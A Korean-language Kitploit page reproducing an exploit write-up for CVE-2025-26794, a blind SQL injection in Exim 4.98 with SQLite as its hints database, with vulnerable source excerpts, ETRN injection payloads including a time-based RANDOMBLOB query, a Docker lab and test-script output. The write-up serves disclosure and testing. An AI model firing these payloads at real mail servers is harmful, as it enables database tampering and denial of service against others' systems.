Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/oscarbataille/cve-2025-26794
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794: Exim 4.98(SQLite DBM)의 블라인드 SQL 인젝션 - 익스플로잇 라이트업

저장소 보기
151년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-26794: Exim 4.98의 블라인드 SQL 인젝션 (SQLite DBM) - 익스플로잇 분석

Exim 보고서: https://www.exim.org/static/doc/security/CVE-2025-26794.txt

이 취약점은 수동 코드 리뷰를 통해 발견했습니다.

취약점 상세:

문제점

SQLite가 DBM으로 사용될 때 SQL 파라미터가 제대로 처리되지 않습니다. 이로 인해 원격 사용자가 사용자 정의 SQLite 쿼리를 조작할 가능성이 생깁니다.

요구 사항:

  • "USE_SQLITE = yes"로 Exim을 컴파일합니다. 이렇게 하면 SQLite가 데이터베이스 관리자(DBM)로 설정됩니다.
  • ETRN 명령을 활성화합니다. 이를 위해 구성 파일에서 "acl_smtp_etrn"을 설정해야 합니다.

PoC

소개

Exim은 내부 키-값 저장소(HintsDB라고 함)를 위해 내부 데이터베이스를 사용하며, 빌드 시 설정되는 다양한 백엔드를 지원합니다. 가장 최근에 추가된 것은 SQLite입니다. 다음 항목을 저장하는 데 사용됩니다:

  • TLS 세션
  • 속도 제한 정보
  • 재시도 정보
  • ETRN 명령 및 SMTP 전달을 위한 세마포어 (enq_start() 포함)
  • 전송 동시성 제한 정보
  • 전송에 의해 지연된 이메일 전달을 위한 "대기 데이터베이스"
  • PIPECONNECT: 원격 서버의 EHLO 응답 캐싱

영향을 받는 파일은 hintsdb.h입니다. 최신 커밋에서 별도의 파일(hints_sqlite.h)로 이동되었습니다. SQLite 함수만 영향을 받습니다(예: exim_s_dbp 함수).

root@kitploit:~
 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]

입력 키가 제대로 이스케이프되지 않습니다. 따라서 키를 제어할 수 있다면 임의의 SQLite 코드를 삽입할 수 있습니다.

익스플로잇

RFC1985는 SMTP ETRN 명령을 정의합니다. 이 명령을 통해 클라이언트는 서버가 클라이언트 시스템을 위해 대기 중인 메시지에 대한 메일 큐 처리를 시작하도록 요청할 수 있습니다. SMTP 명령 ETRN #domain.com과 함께 사용됩니다.

Exim에서 ETRN 명령은 HintsDB에 세마포어를 설정하여 여러 ETRN 명령이 병렬로 실행되는 것을 방지합니다. 이 세마포어는 enq_start(keyname, value) 함수에 의해 구현되며, 이 함수는 "misc" 데이터베이스에 새 항목을 생성합니다.

root@kitploit:~
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

예를 들어, SMTP 명령 ETRN #test.com은 "etrn-#test.com" 키와 값 1로 SQLite "misc" 데이터베이스에 임시 DB 항목을 생성합니다.

ETRN 명령 처리가 끝나면 DB 항목이 제거됩니다:

root@kitploit:~
enq_end(etrn_serialize_key);

키를 제어할 수 있으므로 다음 SMTP 명령으로 자체 SQL 코드를 삽입할 수 있습니다:

root@kitploit:~
ETRN #',1); ## INSERT SQL HERE ##  /*

출력이 없으므로 시간 기반 SQLi 페이로드를 제출하여 원격으로 이 취약점을 테스트할 수 있습니다:

root@kitploit:~
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

영향

  • ATTACH DATABASE를 사용하여 Exim 사용자가 접근할 수 있는 다른 로컬 SQLite 데이터베이스에 연결할 수 있었습니다. 아마도 사용 중인 다른 DB를 방해하여 Exim의 경쟁 조건을 악용하여 정의되지 않은 동작을 유발할 수 있을 것으로 생각됩니다. 현재로서는 매우 가상적입니다.
  • 또한 SQLite의 전체 공격 표면에 접근할 수 있습니다. 이 익스플로잇을 SQLite 익스플로잇과 결합하여 RCE를 달성할 수 있습니다.

익스플로잇 제한 사항:

  • 조회 유형 dbm, dmbjz, dbmnz는 구성된 DBM(이 경우 SQLite)을 사용하므로 공격 표면이 크게 증가할 수 있습니다. 익스플로잇을 테스트하지는 않았습니다. 그러나 SQLite가 DBM으로 설정된 상태에서 dbm 조회를 사용하는 것은 드문 것으로 보입니다.
  • ETRN 명령을 활성화하는 것은 꽤 드물고(꽤 오래된 기능), 코드의 다른 곳에서 사용자 입력이 쿼리 문자열을 구성하는 데 사용되는 곳을 찾을 수 없었습니다.
  • 최근에 추가되었기 때문에 SQLite를 DBM으로 지원하도록 활성화하는 것은 꽤 드뭅니다.
  • 최신 Exim 버전에서만 추가되었기 때문에 SQLite를 DBM으로 사용하는 것도 드뭅니다.

따라서 이 익스플로잇 방법이 실제로 사용되었을 의심스럽지만, 심각한 취약점입니다.

즉, 쉽게 DoS(예: 디스크 채우기)를 수행할 수 있지만, 이를 원격 코드 실행으로 확대하려면 더 많은 작업이 필요하지만 가능할 수 있습니다.

버그 재현

이 취약점 재현을 돕기 위한 로컬 Docker 랩입니다.

Exim 빌드 및 시작

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh가 컨테이너를 빌드하고 로그인합니다.
  4. 컨테이너 내부에서 bash start-exim.sh를 실행하여 exim 서버를 시작합니다.

EXIM 서버에 연결

  1. Netcat으로 연결: nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. ETRN 명령 실행: ETRN #'
  4. Exim 로그에서 다음 줄을 확인: sqlite3_exec: near "', X'": syntax error

서버 테스트

이 취약점을 원격으로 테스트하기 위해 test.py 스크립트를 개발했습니다.

root@kitploit:~
python3 docker_lab/test.py <host>

예시:

root@kitploit:~
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

Client:  ETRN #

ETRN response: 458 Already processing
 Time: 0.006737470626831055

Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN response: 250 OK
 Time: 1.073132038116455

!! Vulnerable
도구 다운로드